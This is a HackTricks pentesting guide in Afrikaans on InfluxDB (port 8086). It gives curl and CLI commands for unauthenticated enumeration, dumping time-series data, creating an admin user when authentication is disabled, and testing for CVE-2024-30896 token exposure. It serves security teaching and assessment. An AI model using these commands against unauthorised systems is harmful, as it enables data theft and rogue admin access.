8086 - Pentesting InfluxDB

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Basiese Inligting

InfluxDB is ’n oopbron tydreeks-databasis (TSDB) ontwikkel deur InfluxData. TSDB’s is geoptimaliseer vir die berging en bediening van tydreeksdata, wat uit tydstempel-waarde pare bestaan. In vergelyking met algemene doeleindes-databasisse, bied TSDB’s beduidende verbeterings in bergingsruimte en prestasie vir tydreeks-datastelle. Hulle gebruik gespesialiseerde kompressie-algoritmes en kan gekonfigureer word om outomaties ou data te verwyder. Gespesialiseerde databasisindekse verbeter ook navraagprestasie.

Standaardpoort: 8086

PORT     STATE SERVICE VERSION
8086/tcp open  http    InfluxDB http admin 1.7.5

Identifiseer & Weergawe (HTTP)

  • v1.x: GET /ping gee status 204 terug en headers soos X-Influxdb-Version en X-Influxdb-Build.
  • v2.x+: GET /health gee JSON terug met die serverweergawe en status. Werk sonder auth.
# v1 banner grab
curl -i http://<host>:8086/ping

# v2/compat health
curl -s http://<host>:8086/health | jq .

Wenk: blootgestelde instansies bedien dikwels ook Prometheus-style metrics by /metrics.

Enumeration

Van ’n pentester se oogpunt is dit nog ’n databasis wat sensitiewe inligting kan stoor, so dit is interessant om te weet hoe om al die info te dump.

Authentication

InfluxDB mag authentication vereis, of dit mag nie nodig wees nie.

# Try unauthenticated CLI (v1 shell)
influx -host <host> -port 8086
> use _internal

As jy ’n fout soos hierdie kry: ERR: unable to parse authentication credentials beteken dit dat dit sekere credentials verwag

influx –username influx –password influx_pass

Daar was ’n kwesbaarheid in influxdb wat toegelaat het om die authentication te omseil: CVE-2019-20933

Handmatige Enumerasie (v1 HTTP API / InfluxQL)

Selfs wanneer geen CLI beskikbaar is nie, is die HTTP API gewoonlik op port 8086 beskikbaar.

# List databases (unauth)
curl -sG "http://<host>:8086/query" --data-urlencode "q=SHOW DATABASES"

# List retention policies of a DB
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW RETENTION POLICIES ON telegraf"

# List users (if auth disabled)
curl -sG "http://<host>:8086/query" --data-urlencode "q=SHOW USERS"

# List measurements (tables)
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW MEASUREMENTS"

# List field keys (columns)
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW FIELD KEYS"

# Dump data from a measurement
curl -sG "http://<host>:8086/query" \
--data-urlencode "db=telegraf" \
--data-urlencode 'q=SELECT * FROM "cpu" LIMIT 5' | jq .

# Force epoch timestamps (useful for tooling)
curl -sG "http://<host>:8086/query" \
--data-urlencode "epoch=ns" \
--data-urlencode "db=telegraf" \
--data-urlencode 'q=SELECT * FROM "cpu" LIMIT 5'

Warning

In sommige toetsing met die authentication bypass is opgemerk dat die naam van die tabel tussen dubbele aanhalingstekens moes wees soos: select * from "cpu"

Indien authentication gedeaktiveer is, kan jy selfs create users en escalate:

# Create an admin user (v1, auth disabled)
curl -sG "http://<host>:8086/query" \
--data-urlencode "q=CREATE USER hacker WITH PASSWORD 'P@ssw0rd!' WITH ALL PRIVILEGES"

Die inligting van die volgende CLI-voorbeeld is geneem van here.

Wys databasisse

Die gevonde databasisse is telegraf en internal (jy sal hierdie een oral vind)

> show databases
name: databases
name
----
telegraf
_internal

Wys tables/measurements

Die InfluxDB documentation verduidelik dat measurements in InfluxDB met SQL-tabelle vergelyk kan word. Die benaming van hierdie measurements dui op hul onderskeie inhoud; elk huisves data wat relevant is vir ’n bepaalde entiteit.

> show measurements
name: measurements
name
----
cpu
disk
diskio
kernel
mem
processes
swap
system

Wys kolomme/veldsleutels

Die veldsleutels is soos die kolomme van die databasis

> show field keys
name: cpu
fieldKey         fieldType
--------         ---------
usage_guest      float
usage_guest_nice float
usage_idle       float
usage_iowait     float

name: disk
fieldKey     fieldType
--------     ---------
free         integer
inodes_free  integer
inodes_total integer
inodes_used  integer

[ ... more keys ...]

Dump Tabel

En uiteindelik kan jy dump the table deur iets soos die volgende te doen:

select * from cpu
name: cpu
time                cpu       host   usage_guest usage_guest_nice usage_idle        usage_iowait        usage_irq usage_nice usage_softirq        usage_steal usage_system        usage_user
----                ---       ----   ----------- ---------------- ----------        ------------        --------- ---------- -------------        ----------- ------------        ----------
1497018760000000000 cpu-total ubuntu 0           0                99.297893681046   0                   0         0          0                    0           0.35105315947842414 0.35105315947842414
1497018760000000000 cpu1      ubuntu 0           0                99.69909729188728 0                   0         0          0                    0           0.20060180541622202 0.10030090270811101

InfluxDB v2.x API (Token-based)

InfluxDB 2.x introduceer token-based auth en ’n nuwe API (nog steeds standaard op 8086). As jy ’n token bekom (leaked logs, default deployments, backups) kan jy die volgende opnoem:

# Basic org, bucket, and auth discovery
TOKEN="<token>"; H="-H Authorization: Token $TOKEN"

# Health & version
curl -s http://<host>:8086/health | jq .

# List organizations
curl -s $H http://<host>:8086/api/v2/organizations | jq .

# List buckets
curl -s $H 'http://<host>:8086/api/v2/buckets?limit=100' | jq .

# List authorizations (requires perms)
ORGID=<org_id>
curl -s $H "http://<host>:8086/api/v2/authorizations?orgID=$ORGID" | jq .

# Query data with Flux
curl -s $H -H 'Accept: application/csv' -H 'Content-Type: application/vnd.flux' \
-X POST http://<host>:8086/api/v2/query \
--data 'from(bucket:"telegraf") |> range(start:-1h) |> limit(n:5)'

Aantekeninge

  • Vir v1.8+ bestaan sommige v2-kompatibele endpoints (/api/v2/query, /api/v2/write, /health). Dit is nuttig as die server v1 is maar v2-styl versoeke aanvaar.
  • In v2 moet die HTTP Authorization header in die vorm Token <value> wees.

Outomatiese Enumerasie

msf6 > use auxiliary/scanner/http/influxdb_enum

Onlangse vulns en privesc van belang (laaste jare)

  • InfluxDB OSS 2.x through 2.7.11 operator token exposure (CVE-2024-30896). Onder spesifieke omstandighede kon ’n geauthentiseerde gebruiker met lees-toegang tot die authorization resource in die standaard-organisasie die instance-wide operator token lys en terughaal (bv. via influx auth ls of GET /api/v2/authorizations). Met daardie token kan die aanvaller die instansie administrer (buckets, tokens, users) en toegang kry tot alle data oor orgs. Upgrade na ’n gefikste build wanneer beskikbaar en vermy om gewone gebruikers in die standaard org te plaas. Vinnige toets:
# Using a low-priv/all-access token tied to the default org
curl -s -H 'Authorization: Token <user_or_allAccess_token>' \
'http://<host>:8086/api/v2/authorizations?orgID=<default_org_id>' | jq .
# Look for entries of type "operator" and extract the raw token (if present)
  • Baie ouer 1.x-implementasies stel steeds /query en /write onbeveilig en sonder auth op die Internet bloot. As auth gedeaktiveer is, kan jy tydreeksdata dump of selfs wysig soos jy wil; jy kan ook admin users skep soos hierbo getoon. Verifieer altyd met die HTTP API selfs al blokkeer die CLI jou.

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks